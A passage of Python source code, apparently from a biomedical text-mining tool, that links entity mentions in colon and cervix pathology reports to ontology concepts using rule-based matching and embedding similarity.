first token in sentence\n\t\t\treturn sent_ix\n\n\tdef post_loose_match(self, doc, ent, trigger, candidates, spans):\n\t\t\"\"\"\n\t\tPerform loose matching between entity mention and subsequent candidates and return the extended span (i.e., entity mention + candidate)\n\n\t\tParams: \n\t\t\tdoc (spacy.tokens.doc.Doc): text processed w/ spaCy models\n\t\t\tent (spacy.tokens.doc.Doc.ents): entity mention found by NER\n\t\t\ttrigger (string): token triggered for the entity mention\n\t\t\tcandidates (list(string)): list of candidates associated to the trigger\n\t\t\tspans (list(list)): list of span ranges [start, end]\n\n\t\tReturns: the list of expanded subsequent spans given the entity mentions \n\t\t\"\"\"\n\n\t\tmatched_candidates = list()\n\t\tix = self.get_post_tokens(ent)\n\t\tif type(ix) == int: # returns next token index if not token.is_punct == True, otherwise None\n\t\t\t# perform matching over doc and return matches\n\t\t\tmatches = self.matcher(doc)\n\t\t\tfor m_id, m_start, m_end in matches:\n\t\t\t\tif self.matcher.vocab.strings[m_id] != trigger: # match w/ different trigger\n\t\t\t\t\tcontinue\n\t\t\t\tif (m_start < ent.end) or (m_end > ix): # match out of bounds\n\t\t\t\t\tcontinue\n\t\t\t\tif doc[m_start:m_end].text not in candidates: # match out of candidates\n\t\t\t\t\tcontinue\n\t\t\t\tmatched_candidates.append(m_end) # match found - store closing index\n\t\tif matched_candidates:\n\t\t\t# keep latest candidate index for entity mention's expansion\n\t\t\tlix = max(matched_candidates)\n\t\t\t# expand entity mention\n\t\t\tspans.append([ent.start, lix])\n\t\telse:\n\t\t\t# keep current entity mention as is\n\t\t\tspans.append([ent.start, ent.end])\n\t\treturn spans\n\n\t@staticmethod\n\tdef get_post_tokens(ent):\n\t\t\"\"\"\n\t\tGet (recursively) the index of the subsequent token where token.is_alpha == True\n\t\t\n\t\tParams:\n\t\t\tent (spacy.tokens.span.Span): the current entity\n\t\t\t\n\t\tReturns: the correct token index or None if skip_punct meets EOS\n\t\t\"\"\"\n\t\t\n\t\tsent_ix = ent.sent.end\n\t\tif ent.end == sent_ix: # entity mention is the last token in the sentence - skip it\n\t\t\treturn None\n\t\telse: # return index of the last token in sentence\n\t\t\treturn sent_ix\n\n\t@staticmethod\n\tdef merge_spans(spans):\n\t\t\"\"\"\n\t\tMerge spans w/ overlapping ranges\n\t\t\n\t\tParams:\n\t\t\tspans (list(list)): list of span ranges [start, end]\n\t\t\t\n\t\tReturns: a list of merged span ranges [start, end]\n\t\t\"\"\"\n\t\t\n\t\tspans.sort(key=lambda span: span[0]) \n\t\tmerged_spans = [[spans[0][0], spans[0][1]]] # avoid copying by reference\n\t\tfor current in spans:\n\t\t\tprevious = merged_spans[-1]\n\t\t\tif current[0] < previous[1]:\n\t\t\t\tprevious[1] = max(previous[1], current[1])\n\t\t\telse:\n\t\t\t\tmerged_spans.append(current)\n\t\treturn merged_spans\n\n\tdef extract_entity_mentions(self, text, keep_negated=False):\n\t\t\"\"\"\n\t\tExtract entity mentions identified within text.\n\n\t\tParams:\n\t\t\ttext (str): text to be processed.\n\t\t\tkeep_negated (bool): keep negated entity mentions\n\n\t\tReturns: a list of named/unnamed detected entity mentions\n\t\t\"\"\"\n\n\t\tdoc = self.nlp(text)\n\t\tif keep_negated: # keep negated mentions\n\t\t\treturn [mention for mention in doc.ents]\n\t\telse: \n\t\t\treturn [mention for mention in doc.ents if mention._.negex is False]\n\n\tdef text_similarity(self, mention, label):\n\t\t\"\"\"\n\t\tCompute different similarity measures between entity mention and concept label\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\t\t\tlabel (spacy.tokens.doc.Doc | np.array(728) | (spacy.tokens.doc.Doc, np.array(728))): concept label from ontology\n\n\t\tReturns: sim scores and names for each considered method\n\t\t\"\"\"\n\n\t\tsim_scores = []\n\t\tsim_names = []\n\t\tif self.biow2v: # compute word2vec sim scores\n\t\t\tword2vec_scores = mention.similarity(label[0])\n\t\t\tsim_scores += [word2vec_scores]\n\t\t\tsim_names += ['word2vec']\n\n\t\tif self.gpm: # compute string matching sim scores\n\t\t\tstring_scores = self.gpm.normalized_similarity(mention.text, label[0].text)\n\t\t\tsim_scores += [string_scores]\n\t\t\tsim_names += ['gpm']\n\n\t\tif self.biofast_model: # compute FastText sim scores\n\t\t\tfasttext_scores = cosine_similarity(\n\t\t\t\t[self.biofast_model.get_sentence_vector(mention.text)], [self.biofast_model.get_sentence_vector(label[0].text)]\n\t\t\t)\n\t\t\tsim_scores += [fasttext_scores[0]]\n\t\t\tsim_names += ['fasttext']\n\n\t\tif self.bert_model: # compute Bert sim scores\n\t\t\ttokens = utils.assign_gpu(self.bert_tokenizer(mention.text, return_tensors=\"pt\"), self.gpu) # get tokens\n\t\t\tembs = self.bert_model(**tokens)[0] # get BERT last layer hidden states\n\t\t\tpooled_mention = torch.mean(embs, 1).cpu().detach().numpy() # compute pooling to obtain mention embedding\n\t\t\tpooled_mention = pooled_mention.reshape(1, -1) # reshape to perform cosine similarity\n\t\t\tif len(label) == 1:\n\t\t\t\tpooled_label = label[0].reshape(1, -1) # reshape to perform cosine similarity\n\t\t\telse:\n\t\t\t\tpooled_label = label[1].reshape(1, -1) # reshape to perform cosine similarity\n\t\t\tbert_scores = cosine_similarity(pooled_mention, pooled_label)[0]\n\t\t\tsim_scores += [bert_scores]\n\t\t\tsim_names += ['bert']\n\n\t\tif len(sim_scores) == 0:\n\t\t\tprint('No semantic matching method selected.\\nPlease select any combination of: \"biow2v\", \"str_match\", \"biofast\", and \"biobert\"')\n\t\t\traise Exception\n\t\treturn sim_scores, sim_names\n\n\tdef associate_mention2candidate(self, mention, labels, sim_thr=0.7):\n\t\t\"\"\"\n\t\tAssociate entity mention to candidate concept label\n\n\t\tParams:\n\t\t\tmention (spacy.token.span.Span): entity mention extracted from text\n\t\t\tlabels (list(spacy.tokens.doc.Doc) | dict(label: np.array(728)) | dict(label: (spacy.tokens.doc.Doc, np.array(728)))): list of concept labels from reference ontology\n\t\t\tsim_thr (float): keep candidates with sim score greater than or equal to sim_thr\n\n\t\tReturns: candidate ontology concept (or None)\n\t\t\"\"\"\n\n\t\t# perform sim scores between entity mention and onto labels\n\t\tscores_and_labels = {lid: self.text_similarity(mention, ldata)[0] for lid, ldata in labels.items()}\n\t\t# get scores and ids\n\t\tscores = np.array(list(scores_and_labels.values()))\n\t\tlabels = list(scores_and_labels.keys())\n\t\t# set normalizers for sim methods\n\t\tnorms = {i: MinMaxNormalizer(scores[:, i]) for i in range(0, scores.shape[1])}\n\t\t# perform combSUM over scores w/ norms\n\t\tcomb_scores = np.array([norms[i](scores[:, i]) for i in range(0, scores.shape[1])]).sum(axis=0)\n\t\tif np.argwhere(comb_scores >= sim_thr).size != 0: # return (mention, label) pair\n\t\t\t# keep label w/ highest comb_score\n\t\t\tlabel = labels[np.argsort(-comb_scores[:])[0]]\n\t\t\treturn [[mention.text, label]]\n\t\telse: # return (mention, None) pair\n\t\t\treturn [[mention.text, None]]\n\n\tdef link_mentions_to_concepts(self, use_case, mentions, labels, use_case_ontology, sim_thr=0.7, raw=False, debug=False):\n\t\t\"\"\"\n\t\tLink identified entity mentions to ontology concepts \n\n\t\tParams:\n\t\t\tmentions (list(spacy.token.span.Span)): list of entity mentions extracted from text\n\t\t\tlabels (list(spacy.token.span.Span)): list of concept labels from reference ontology\n\t\t\tuse_case_ontology (pandas DataFrame): reference ontology restricted to the use case considered\n\t\t\tsim_thr (float): keep candidates with sim score greater than or equal to sim_thr\n\t\t\traw (bool): whether to return concepts within semantic areas or mentions+concepts\n\t\t\tdebug (bool): whether to keep flags for debugging\n\n\t\tReturns: a dict of identified ontology concepts {semantic_area: [iri, mention, label], ...}\n\t\t\"\"\"\n\t\t# link mentions to concepts\n\t\tmentions_and_concepts = [self.use_case_ad_hoc_linking(mention, labels, sim_thr, debug) for mention in mentions]\n\t\tmentions_and_concepts = list(itertools.chain.from_iterable(mentions_and_concepts))\n\t\t# post process mentions and concepts based on the considered use case\n\t\tmentions_and_concepts = self.use_case_ad_hoc_post_processing(mentions_and_concepts)\n\t\t# extract linked data from ontology\n\t\tif use_case == 'celiac':\n\t\t\t# Store value for valued-data properties\n\t\t\tlinked_data = [(mention_and_concept[0], use_case_ontology.loc[use_case_ontology['label'].str.lower() == mention_and_concept[1]][['iri', 'label', 'semantic_area_label']].values[0].tolist(), mention_and_concept[2] if mention_and_concept[1] in self.valued_props else None) for mention_and_concept in mentions_and_concepts if mention_and_concept[1] is not None]\n\t\telse:\n\t\t\tlinked_data = [(mention_and_concept[0], use_case_ontology.loc[use_case_ontology['label'].str.lower() == mention_and_concept[1]][['iri', 'label', 'semantic_area_label']].values[0].tolist()) for mention_and_concept in mentions_and_concepts if mention_and_concept[1] is not None]\n\t\t# filter out linked data 'semantic_area_label' == None\n\t\tlinked_data = [linked_datum for linked_datum in linked_data if linked_datum[1][2] is not None]\n\t\tif raw: # return mentions+concepts\n\t\t\treturn linked_data\n\t\telse: # return concepts within semantic areas\n\t\t\t# return linked concepts divided into semantic areas\n\t\t\tlinked_concepts = {area: [] for area in set(use_case_ontology['semantic_area_label'].tolist()) if area is not None}\n\t\t\tfor linked_datum in linked_data:\n\t\t\t\tif use_case == 'celiac':\n\t\t\t\t\t# Store value for valued-data properties\n\t\t\t\t\tif linked_datum[2] is not None:\n\t\t\t\t\t\tlinked_concepts[str(linked_datum[1][2])].append([linked_datum[1][0], linked_datum[1][1], linked_datum[2]])\n\t\t\t\t\telse:\n\t\t\t\t\t\tlinked_concepts[str(linked_datum[1][2])].append([linked_datum[1][0], linked_datum[1][1]])\n\t\t\t\telse:\n\t\t\t\t\tlinked_concepts[str(linked_datum[1][2])].append([linked_datum[1][0], linked_datum[1][1]])\n\t\t\treturn linked_concepts\n\n\t# COLON SPECIFIC LINKING FUNCTIONS\n\n\tdef ad_hoc_colon_linking(self, mention, labels, sim_thr=0.7, debug=False):\n\t\t\"\"\"\n\t\tPerform set of colon ad hoc linking functions \n\n\t\tParams: \n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\t\t\tlabels (list(spacy.token.span.Span)): list of concept labels from reference ontology\n\t\t\tsim_thr (float): keep candidates with sim score greater than or equal to sim_thr\n\t\t\tdebug (bool): whether to keep flags for debugging\n\n\t\tReturns: matched ontology concept label(s)\n\t\t\"\"\"\n\n\t\tif 'dysplasia' in mention.text: # mention contains 'dysplasia'\n\t\t\treturn self.link_colon_dysplasia(mention)\n\t\telif 'carcinoma' in mention.text: # mention contains 'carcinoma'\n\t\t\treturn self.link_colon_adenocarcinoma(mention)\n\t\telif 'hyperplastic' in mention.text: # mention contains 'hyperplastic'\n\t\t\treturn self.link_colon_hyperplastic_polyp(mention)\n\t\telif 'biopsy' in mention.text: # mention contains 'biopsy'\n\t\t\treturn self.link_colon_biopsy(mention, labels, sim_thr)\n\t\telif 'colon' == mention.text: # mention matches 'colon' -- @smarchesin TODO: w/ better similarity self.link_colon_nos should be deprecated\n\t\t\treturn self.link_colon_nos(mention)\n\t\telif 'polyp' == mention.text: # mention matches 'polyp' -- @smarchesin TODO: w/ better similarity self.link_colon_polyp should be deprecated\n\t\t\treturn self.link_colon_polyp(mention)\n\t\telse: # none of the ad hoc functions was required -- perform similarity-based linking\n\t\t\treturn self.associate_mention2candidate(mention, labels, sim_thr)\n\t\t\t# return [[mention.text, None]]\n\n\tdef link_colon_dysplasia(self, mention):\n\t\t\"\"\"\n\t\tIdentify (when possible) the colon dysplasia grade and link the dysplasia mention to the correct concept \n\t\t\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): (dysplasia) entity mention extracted from text\n\t\t\n\t\tReturns: matched ontology concept label(s)\n\t\t\"\"\"\n\t\t\n\t\tdysplasia_mention = mention.text\n\t\t# identify dysplasia grades within mention\n\t\tgrades = [self.use_case_dysplasia[trigger] for trigger in self.use_case_dysplasia.keys() if trigger in dysplasia_mention]\n\t\tgrades = set(itertools.chain.from_iterable(grades))\n\t\tif grades: # at least one dysplasia grade identified\n\t\t\treturn [[dysplasia_mention, grade] for grade in grades]\n\t\telse: # no dysplasia grades identified - map to simple Colon Dysplasia\n\t\t\treturn [[dysplasia_mention, 'colon dysplasia']]\n\n\t@staticmethod\n\tdef link_colon_adenocarcinoma(mention): # @smarchesin TODO: needs to be improved to handle a larger pool of 'metastatic' cases\n\t\t\"\"\"\n\t\tLink (adeno)carcinoma mentions to the correct concepts\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): (hyperplastic polyp) entity mention extracted from text\n\n\t\tReturns: matched ontology concept label\n\t\t\"\"\"\n\n\t\tcarcinoma_mention = mention.text\n\t\tif 'metasta' in carcinoma_mention: # metastatic adenocarcinoma found -- 'metasta' handles both metasta-tic and metasta-sis/ses\n\t\t\treturn [[carcinoma_mention, 'metastatic adenocarcinoma']]\n\t\telse: # colon adenocarcinoma found\n\t\t\treturn [[carcinoma_mention, 'colon adenocarcinoma']]\n\n\t@staticmethod\n\tdef link_colon_hyperplastic_polyp(mention):\n\t\t\"\"\"\n\t\tLink hyperplastic polyp mentions to the correct concepts\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): (hyperplastic polyp) entity mention extracted from text\n\n\t\tReturns: matched ontology concept label(s)\n\t\t\"\"\"\n\n\t\thyperplastic_mention = mention.text\n\t\t# idenfity presence of hyperplastic adenomatous polyps\n\t\tif 'adenomatous' in hyperplastic_mention: # hyperplastic adenomatous polyp found\n\t\t\treturn [[hyperplastic_mention, 'colon hyperplastic polyp'], [hyperplastic_mention, 'adenoma']]\n\t\telif 'inflammatory' in hyperplastic_mention: # hyperplastic inflammatory polyp found\n\t\t\treturn [[hyperplastic_mention, 'colon hyperplastic polyp'], [hyperplastic_mention, 'colon inflammatory polyp']]\n\t\telif 'glands' in hyperplastic_mention: # hyperplastic glands found - skip it\n\t\t\treturn [[hyperplastic_mention, None]]\n\t\telse: # hyperplastic polyp found\n\t\t\treturn [[hyperplastic_mention, 'colon hyperplastic polyp']]\n\n\t@staticmethod\n\tdef link_colon_nos(mention):\n\t\t\"\"\"\n\t\tLink colon mentions to the colon concept\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): (colon) entity mention extracted from text\n\n\t\tReturns: matched ontology concept label\n\t\t\"\"\"\n\n\t\tcolon_mention = mention.text\n\t\tassert colon_mention == 'colon'\n\t\treturn [[colon_mention, 'colon, nos']]\n\n\t@staticmethod\n\tdef link_colon_polyp(mention): # @smarchesin TODO: what about plural nouns?\n\t\t\"\"\"\n\t\tLink polyp mentions to the polyp concept\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): (polyp) entity mention extracted from text\n\n\t\tReturns: matched ontology concept label\n\t\t\"\"\"\n\n\t\tpolyp_mention = mention.text\n\t\tassert polyp_mention == 'polyp'\n\t\treturn [[polyp_mention, 'polyp of colon']]\n\n\tdef link_colon_biopsy(self, mention, labels, sim_thr=0.7): # @smarchesin TODO: too hardcoded? too simplistic? what about plurals?\n\t\t\"\"\"\n\t\tLink colon biopsy mentions and the associated anatomical locations (if any)\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\t\t\tlabels (list(spacy.token.span.Span)): list of concept labels from reference ontology\n\t\t\tsim_thr (float): keep candidates with sim score greater than or equal to sim_thr\n\n\t\tReturns: colon biopsy concept and matched anatomical locations (if any)\n\t\t\"\"\"\n\n\t\tif mention.text == 'biopsy': # mention contains 'biopsy' only\n\t\t\treturn [[mention.text, 'biopsy of colon']]\n\t\telif mention.text == 'colon biopsy': # mention contains 'colon biopsy'\n\t\t\treturn [[mention.text, 'biopsy of colon'], [mention.text, 'colon, nos']]\n\t\telif mention[:2].text == 'colon biopsy': # 'colon biopsy' as first term - match rest of mention w/ similarity-based linking\n\t\t\tanatomical_location = self.associate_mention2candidate(mention[2:], labels, sim_thr)\n\t\t\tif anatomical_location[0][1]: # anatomical location found within mention\n\t\t\t\treturn [[mention.text, 'biopsy of colon']] + anatomical_location\n\t\t\telse: # return 'colon, nos' because of 'colon' within biopsy mention\n\t\t\t\treturn [[mention.text, 'biopsy of colon'], [mention.text, 'colon, nos']]\n\t\telif mention[-2:].text == 'colon biopsy': # 'colon biopsy' as last term - match rest of mention w/ similarity-based linking\n\t\t\tanatomical_location = self.associate_mention2candidate(mention[:-2], labels, sim_thr)\n\t\t\tif anatomical_location[0][1]: # anatomical location found within mention\n\t\t\t\treturn [[mention.text, 'biopsy of colon']] + anatomical_location\n\t\t\telse: # return 'colon, nos' because of 'colon' within biopsy mention\n\t\t\t\treturn [[mention.text, 'biopsy of colon'], [mention.text, 'colon, nos']]\n\t\telif mention[0].text == 'biopsy': # 'biopsy' as first term - match rest of mention w/ similarity-based linking\n\t\t\tif 'colon' not in mention.text: # 'colon' not in mention\n\t\t\t\treturn [[mention.text, 'biopsy of colon']] + self.associate_mention2candidate(mention[1:], labels, sim_thr)\n\t\t\telse: # 'colon' in mention -- hard to handle appropriately, keep biopsy and colon as concepts\n\t\t\t\treturn [[mention.text, 'biopsy of colon'], [mention.text, 'colon, nos']]\n\t\telif mention[-1].text == 'biopsy': # 'biopsy' as last term - match rest of mention w/ similarity-based linking\n\t\t\tif 'colon' not in mention.text: # 'colon' not in mention\n\t\t\t\treturn [[mention.text, 'biopsy of colon']] + self.associate_mention2candidate(mention[:-1], labels, sim_thr)\n\t\t\telse: # 'colon' in mention -- hard to handle appropriately, keep biopsy and colon as concepts\n\t\t\t\treturn [[mention.text, 'biopsy of colon'], [mention.text, 'colon, nos']]\n\t\telse: # biopsy not BOS or EOS\n\t\t\tif 'colon' not in mention.text: # 'colon' not in mention\n\t\t\t\tbiopsy_idx = [idx for idx, term in enumerate(mention) if 'biopsy' in term.text][0] # get 'biopsy' mention index\n\t\t\t\tpre_anatomical_location = [['', '']]\n\t\t\t\tpost_anatomical_location = [['', '']]\n\t\t\t\tif mention[:biopsy_idx]: # link mention before 'biopsy'\n\t\t\t\t\tpre_anatomical_location = self.associate_mention2candidate(mention[:biopsy_idx], labels, sim_thr)\n\t\t\t\tif mention[biopsy_idx+1:]: # link mention after 'biopsy'\n\t\t\t\t\tpost_anatomical_location = self.associate_mention2candidate(mention[biopsy_idx+1:], labels, sim_thr)\n\t\t\t\tif pre_anatomical_location[0][1] and post_anatomical_location[0][1]: # both mentions matched\n\t\t\t\t\treturn [[mention.text, 'biopsy of colon']] + pre_anatomical_location + post_anatomical_location\n\t\t\t\telif pre_anatomical_location[0][1]: # only pre mention matched\n\t\t\t\t\treturn [[mention.text, 'biopsy of colon']] + pre_anatomical_location\n\t\t\t\telif post_anatomical_location[0][1]: # only post mention matched\n\t\t\t\t\treturn [[mention.text, 'biopsy of colon']] + post_anatomical_location\n\t\t\t\telse: # no mention matched - return only 'biopsy of colon' concept\n\t\t\t\t\treturn [[mention.text, 'biopsy of colon']]\n\t\t\telse: # 'colon' in mention -- hard to handle appropriately, keep biopsy and colon as concepts\n\t\t\t\treturn [[mention.text, 'biopsy of colon'], [mention.text, 'colon, nos']]\n\n\t# COLON SPECIFIC POST PROCESSING OPERATIONS\n\n\tdef ad_hoc_colon_post_processing(self, mentions_and_concepts): # @TODO: use it if post processing operations are required for colon\n\t\t\"\"\"\n\t\tPerform set of post processing operations\n\n\t\tParams:\n\t\t\tmentions_and_concepts (list(list(str))): list of mentions and concepts extracted from report\n\n\t\tReturns: mentions and concepts after post processing operations\n\t\t\"\"\"\n\n\t\tnew_mentions_and_concepts = self.remove_colon_unrelated_concepts(mentions_and_concepts)\n\t\treturn new_mentions_and_concepts\n\n\t@staticmethod\n\tdef remove_colon_unrelated_concepts(mentions_and_concepts):\n\t\t\"\"\"\n\t\tRemove mentions containing terms unrelated to dysplasia, adenocarcinoma and hyperplastic polyp.\n\n\t\tParams:\n\t\t\tmentions_and_concepts (list(list(str))): list of mentions and concepts extracted from report\n\n\t\tReturns: mentions and concepts after unrelated concepts removal\n\t\t\"\"\"\n\n\t\tnew_mentions_and_concepts = []\n\t\tfor m_and_c in mentions_and_concepts:\n\t\t\tif m_and_c[1] is not None:\n\t\t\t\tif 'dysplasia' in m_and_c[1]: # concept refers to 'dysplasia'\n\t\t\t\t\tif 'dysplasia' in m_and_c[0]: # mention refers to 'dysplasia'\n\t\t\t\t\t\t# mention related to dysplasia -- keep it\n\t\t\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\t\t\t\t\telse:\n\t\t\t\t\t\t# mention not related to dysplasia -- remove it\n\t\t\t\t\t\tnew_mentions_and_concepts.append([m_and_c[0], None])\n\t\t\t\telif 'metastatic' in m_and_c[1]:\n\t\t\t\t\tif 'metastatic' in m_and_c[0]: # mention refers to 'metastatic'\n\t\t\t\t\t\t# mention related to metastatic -- keep it\n\t\t\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\t\t\t\t\telse:\n\t\t\t\t\t\t# mention not related to metastatic -- remove it\n\t\t\t\t\t\tnew_mentions_and_concepts.append([m_and_c[0], None])\n\t\t\t\telif 'carcinoma' in m_and_c[1]: # concept refers to 'carcinoma'\n\t\t\t\t\tif 'carcinoma' in m_and_c[0]: # mention refers to 'carcinoma'\n\t\t\t\t\t\t# mention related to carcinoma -- keep it\n\t\t\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\t\t\t\t\telse:\n\t\t\t\t\t\t# mention not related to carcinoma -- remove it\n\t\t\t\t\t\tnew_mentions_and_concepts.append([m_and_c[0], None])\n\t\t\t\telif 'hyperplastic' in m_and_c[1]: # concept refers to 'hyperplastic'\n\t\t\t\t\tif 'hyperplastic' in m_and_c[0]: # mention refers to 'hyperplastic'\n\t\t\t\t\t\t# mention related to hyperplastic -- keep it\n\t\t\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\t\t\t\t\telse:\n\t\t\t\t\t\t# mention not related to hyperplastic -- remove it\n\t\t\t\t\t\tnew_mentions_and_concepts.append([m_and_c[0], None])\n\t\t\t\telse:\n\t\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\t\t\telse:\n\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\n\t\treturn new_mentions_and_concepts\n\n\t# CERVIX SPECIFIC LINKING FUNCTIONS\n\n\tdef ad_hoc_cervix_linking(self, mention, labels, sim_thr=0.7, debug=False):\n\t\t\"\"\"\n\t\tPerform set of cervix ad hoc linking functions \n\n\t\tParams: \n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\t\t\tlabels (list(spacy.token.span.Span)): list of concept labels from reference ontology\n\t\t\tsim_thr (float): keep candidates with sim score greater than or equal to sim_thr\n\t\t\tdebug (bool): whether to keep flags for debugging\n\n\t\tReturns: matched ontology concept label(s)\n\t\t\"\"\"\n\n\t\tif 'dysplasia' in mention.text or 'squamous intraepithelial lesion' in mention.text: # mention contains 'dysplasia' or 'squamous intraepithelial lesion'\n\t\t\treturn self.link_cervix_dysplasia(mention)\n\t\telif re.search(r'\\bcin\\d*', mention.text) or re.search(r'sil\\b', mention.text): # mention contains 'cin' or 'sil'\n\t\t\treturn self.link_cervix_cin(mention)\n\t\telif 'hpv' in mention.text: # mention contains 'hpv'\n\t\t\treturn self.link_cervix_hpv(mention, labels, sim_thr)\n\t\telif 'infection' in mention.text: # mention contains 'infection'\n\t\t\treturn self.skip_cervix_infection(mention, debug=debug)\n\t\telif 'koilocyt' in mention.text: # mention contains 'koilocyte'\n\t\t\treturn self.link_cervix_koilocytes(mention)\n\t\telif 'epithelium' in mention.text or 'junction' in mention.text: # mention contains 'epithelium' or 'junction'\n\t\t\treturn self.link_cervix_epithelium(mention)\n\t\telif 'leep' in mention.text: # mention contains 'leep'\n\t\t\treturn self.link_cervix_leep(mention)\n\t\telif 'biopsy' in mention.text and 'portio' in mention.text: # mention contains 'biopsy portio'\n\t\t\treturn self.link_cervix_conization(mention)\n\t\telse: # none of the ad hoc functions was required -- perform similarity-based linking\n\t\t\treturn self.associate_mention2candidate(mention, labels, sim_thr)\n\n\tdef link_cervix_dysplasia(self, mention):\n\t\t\"\"\"\n\t\tIdentify (when possible) the cervix dysplasia grade and link the dysplasia mention to the correct concept \n\t\t\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): (dysplasia) entity mention extracted from text\n\n\t\tReturns: matched ontology concept label(s)\n\t\t\"\"\"\n\t\t\n\t\tdysplasia_mention = mention.text\n\t\t# identify dysplasia grades within mention\n\t\tgrades = [self.use_case_dysplasia[trigger] for trigger in self.use_case_dysplasia.keys() if trigger in dysplasia_mention]\n\t\tgrades = set(itertools.chain.from_iterable(grades))\n\t\tif grades: # at least one dysplasia grade identified\n\t\t\treturn [[dysplasia_mention, grade] for grade in grades]\n\t\telse: # no dysplasia grades identified - map to simple CIN\n\t\t\treturn [[dysplasia_mention, 'cervical intraepithelial neoplasia']]\n\n\tdef link_cervix_cin(self, mention):\n\t\t\"\"\"\n\t\tIdentify (when possible) the cervix cin/sil grade and link the cin/sil mention to the correct concept \n\t\t\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): (cin) entity mention extracted from text\n\t\t\n\t\tReturns: matched ontology concept label(s)\n\t\t\"\"\"\n\t\t\n\t\tcin_mention = mention.text\n\t\t# identify cin/sil grades within mention\n\t\tgrades = [self.cin[trigger] for trigger in self.cin.keys() if trigger in cin_mention]\n\t\tif grades: # at least one cin/sil grade identified\n\t\t\treturn [[cin_mention, grade] for grade in grades]\n\t\telse: # no cin/sil grades identified - map to simple cin/sil\n\t\t\treturn [[cin_mention, 'cervical intraepithelial neoplasia']]\n\n\tdef link_cervix_hpv(self, mention, labels, sim_thr=0.7): # @smarchesin TODO: too hardcoded? too simplistic?\n\t\t\"\"\"\n\t\tLink cervix hpv mentions and the associated anatomical locations (if any)\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\t\t\tlabels (list(spacy.token.span.Span)): list of concept labels from reference ontology\n\t\t\tsim_thr (float): keep candidates with sim score greater than or equal to sim_thr\n\n\t\tReturns: cervix hpv concept and matched anatomical locations (if any)\n\t\t\"\"\"\n\n\t\tif mention.text == 'hpv': # mention contains 'hpv' only\n\t\t\treturn [[mention.text, 'human papilloma virus infection']]\n\t\telif mention.text == 'hpv infection': # mention contains 'hpv infection'\n\t\t\treturn [[mention.text, 'human papilloma virus infection']]\n\t\telif mention[:2].text == 'hpv infection': # 'hpv infection' as first term - match rest of mention w/ similarity-based linking\n\t\t\treturn [[mention[:2].text, 'human papilloma virus infection']] + self.associate_mention2candidate(mention[2:], labels, sim_thr)\n\t\telif mention[-2:].text == 'hpv infection': # 'hpv infection' as last term - match rest of mention w/ similarity-based linking\n\t\t\treturn [[mention[-2:].text, 'human papilloma virus infection']] + self.associate_mention2candidate(mention[:-2], labels, sim_thr)\n\t\telif mention[0].text == 'hpv': # 'hpv' as first term - match rest of mention w/ similarity-based linking\n\t\t\treturn [[mention[0].text, 'human papilloma virus infection']] + self.associate_mention2candidate(mention[1:], labels, sim_thr)\n\t\telif mention[-1].text == 'hpv': # 'hpv' as last term - match rest of mention w/ similarity-based linking\n\t\t\treturn [[mention[-1].text, 'human papilloma virus infection']] + self.associate_mention2candidate(mention[:-1], labels, sim_thr)\n\t\telse: # biopsy not BOS or EOS\n\t\t\thpv_idx = [idx for idx, term in enumerate(mention) if 'hpv' in term.text][0] # get 'hpv' mention index \n\t\t\tpre_anatomical_location = [['', '']]\n\t\t\tpost_anatomical_location = [['', '']]\n\t\t\tif mention[:hpv_idx]: # link mention before 'hpv'\n\t\t\t\tpre_anatomical_location = self.associate_mention2candidate(mention[:hpv_idx], labels, sim_thr)\n\t\t\tif mention[hpv_idx+1:]: # link mention after 'hpv'\n\t\t\t\tpost_anatomical_location = self.associate_mention2candidate(mention[hpv_idx+1:], labels, sim_thr)\n\t\t\tif pre_anatomical_location[0][1] and post_anatomical_location[0][1]: # both mentions matched\n\t\t\t\treturn [[mention[hpv_idx].text, 'human papilloma virus infection']] + pre_anatomical_location + post_anatomical_location\n\t\t\telif pre_anatomical_location[0][1]: # only pre mention matched\n\t\t\t\treturn [[mention[hpv_idx].text, 'human papilloma virus infection']] + pre_anatomical_location\n\t\t\telif post_anatomical_location[0][1]: # only post mention matched\n\t\t\t\treturn [[mention[hpv_idx].text, 'human papilloma virus infection']] + post_anatomical_location\n\t\t\telse: # no mention matched - return only 'human papilloma virus infection' concept\n\t\t\t\treturn [[mention[hpv_idx].text, 'human papilloma virus infection']]\n\n\t@staticmethod\n\tdef link_cervix_epithelium(mention):\n\t\t\"\"\"\n\t\tIdentify (when possible) the cervix epithelium type and link it to the correct concept \n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\n\t\tReturns: cervix epithelium concept\n\t\t\"\"\"\n\n\t\tepithelium_mention = mention.text\n\t\t# identify epithelium types within mention\n\t\tif 'simple' in epithelium_mention:\n\t\t\treturn [[epithelium_mention, 'simple epithelium']]\n\t\telif 'pavement' in epithelium_mention:\n\t\t\treturn [[epithelium_mention, 'pavement epithelium']]\n\t\telif 'junction' in epithelium_mention:\n\t\t\treturn [[epithelium_mention, 'cervical squamo-columnar junction']]\n\t\telif 'ectocervical' in epithelium_mention:\n\t\t\treturn [[epithelium_mention, 'exocervical epithelium']]\n\t\telif 'exocervical' in epithelium_mention:\n\t\t\treturn [[epithelium_mention, 'exocervical epithelium']]\n\t\telif 'glandular' in epithelium_mention:\n\t\t\treturn [[epithelium_mention, 'cervix glandular epithelium']]\n\t\telif 'squamous' in epithelium_mention:\n\t\t\treturn [[epithelium_mention, 'cervix squamous epithelium']]\n\t\telse: # epithelium type not found\n\t\t\treturn [[epithelium_mention, 'cervix epithelium']]\n\n\t@staticmethod\n\tdef 